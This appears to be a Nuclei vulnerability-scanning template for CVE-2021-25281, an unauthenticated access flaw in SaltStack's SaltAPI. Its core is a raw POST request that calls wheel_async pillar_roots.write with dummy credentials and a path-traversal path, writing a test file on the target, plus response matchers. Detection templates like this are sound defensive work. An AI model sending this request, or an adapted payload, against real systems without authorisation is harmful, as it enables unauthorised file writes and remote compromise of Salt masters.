id: CVE-2021-25281

info:
  name: SaltStack wheel_async unauth access
  author: madrobot
  severity: critical
  description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
  reference:
    - http://hackdig.com/02/hack-283902.htm
    - https://dozer.nz/posts/saltapi-vulns
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25281
    cwe-id: CWE-287
  tags: cve,cve2021,saltapi,rce,saltstack,unauth

requests:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        condition: and

      - type: status
        status:
          - 200